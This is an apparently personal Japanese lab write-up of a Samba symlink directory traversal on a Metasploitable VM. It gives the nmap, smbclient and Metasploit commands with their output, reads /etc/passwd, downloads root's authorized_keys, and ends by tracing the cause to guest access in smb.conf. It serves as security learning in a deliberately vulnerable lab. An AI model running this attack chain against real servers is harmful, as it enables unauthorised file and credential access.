ディレクトリトラバーサルの実験

ディレクトリトラバーサルの実験

ディレクトリトラバーサル
これは本来アクセスしてほしくないディレクトリや
ファイルの位置を表示させ不正アクセスするというもの

詳しくは

ディレクトリトラバーサルの対策

を参考に

KaliLinux と Metasploitableで実験

nmap -sV -O -p- 192.168.1.137

により

139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

の結果が途中にでてくることから
Samba が稼働しているので
共有サービスがあるのが確認できる

まず
smbclient コマンドで情報を集める

smbclient コマンドについては

を参考に

-L オプションを使うことで利用可能なサービス一覧をみれる

smbclient -L //192.168.1.137

を実行すると

Enter WORKGROUP\root's password: 

となるので Enter

結果は

Anonymous login successful

	Sharename       Type      Comment
	---------       ----      -------
	print$          Disk      Printer Drivers
	tmp             Disk      oh noes!
	opt             Disk      
	IPC$            IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
	ADMIN$          IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful

	Server               Comment
	---------            -------

	Workgroup            Master
	---------            -------
	WORKGROUP            RASPBERRYPI

となる

この中で怪しいのは

	tmp             Disk      oh noes!

の部分

Sambaには共有フォルダ外へのシンボリックリンクの設定があり
これは
smb.conf の wide links で設定する
この部分が yes なら有効になっているが
最新のものならデフォルトで no になっている

例として
共有ファイルが 777権限で
これにシンボリックリンクがはってあるとき
wide links が yes ならアクセスできるユーザは
誰でも実行できる

Metasploit には
wide links が yes なら
ディレクトリトラバーサルを実現するモジュールがあるので
これを実行

msfconsole -q

でバナー省略で起動

use auxiliary/admin/smb/samba_symlink_traversal 
set rhost 192.168.1.137
set smbshare tmp
exploit 

で実行

set rhost で攻撃対象のIPを指定

set smbshare で 対象とする Sharename を指定

結果として

[*] Running module against 192.168.1.137

[*] 192.168.1.137:445 - Connecting to the server...
[*] 192.168.1.137:445 - Trying to mount writeable share 'tmp'...
[*] 192.168.1.137:445 - Trying to link 'rootfs' to the root filesystem...
[*] 192.168.1.137:445 - Now access the following share to browse the root filesystem:
[*] 192.168.1.137:445 - 	\\192.168.1.137\tmp\rootfs\

[*] Auxiliary module execution completed

により tmp 共有フォルダがマウントされているのがわかる

これで smbclient コマンドで
共有フォルダにアクセスできるようになる

一度

exit

で抜けて

smbclient //192.168.1.137/tmp

というように
//ホスト名/共有名
でアクセスすることができる

Enter WORKGROUP\root's password: 

となるので Enter でOK

これで help コマンドで使用できるコマンドを調べることができる

この状態で

cd rootfs\

とすると rootfs であることがわかる

パスワードファイルの閲覧をするには

cd etc\
more passwd

で閲覧ができる

ただし root 権限ではないので
shadow を閲覧しようとしてもなにも表示されない

moreコマンドについては
【more】Linuxでファイルをページ単位で表示するコマンド

を参考に

more の画面から抜けるには q を押せばOK

次に get コマンドでroot ユーザの ssh 公開鍵のダウンロード

cd \rootfs\root\.ssh
get authorized_keys
exit

これで
KaliLinux のカレントディレクトリにダウンロードされる

これらの原因をみるには一度 metasplotable にログインし
設定を確認

ssh msfadmin@192.168.1.137

で ssh でパスワード認証でログイン

The authenticity of host '192.168.1.137 (192.168.1.137)' can't be established.
RSA key fingerprint is SHA256:BQHm5EoHX9GCiOLuVscegPXLQOsuPs+E9d/rrJB84rk.
Are you sure you want to continue connecting (yes/no/[fingerprint])? 

となるので
yes を入力

msfadmin@192.168.1.137's password: 

となるので
パスワードは mfsadmin を入力

これでログインできるので

vim /etc/samba/smb.conf 

でファイルを開き
shift + g で最終行に移動

なお vim の操作については
Vim初心者に捧ぐ実践的入門

を参考に

ほかにも vim 使い方で検索するとでてくる

[tmp]
   comment = oh noes!
   read only = no
   locking = no
   path = /tmp
   guest ok = yes

[opt]
   read only = yes
   locking = no
   path = /tmp

となっていて

guest ok = yes
により認証なしの共有フォルダになっているのが原因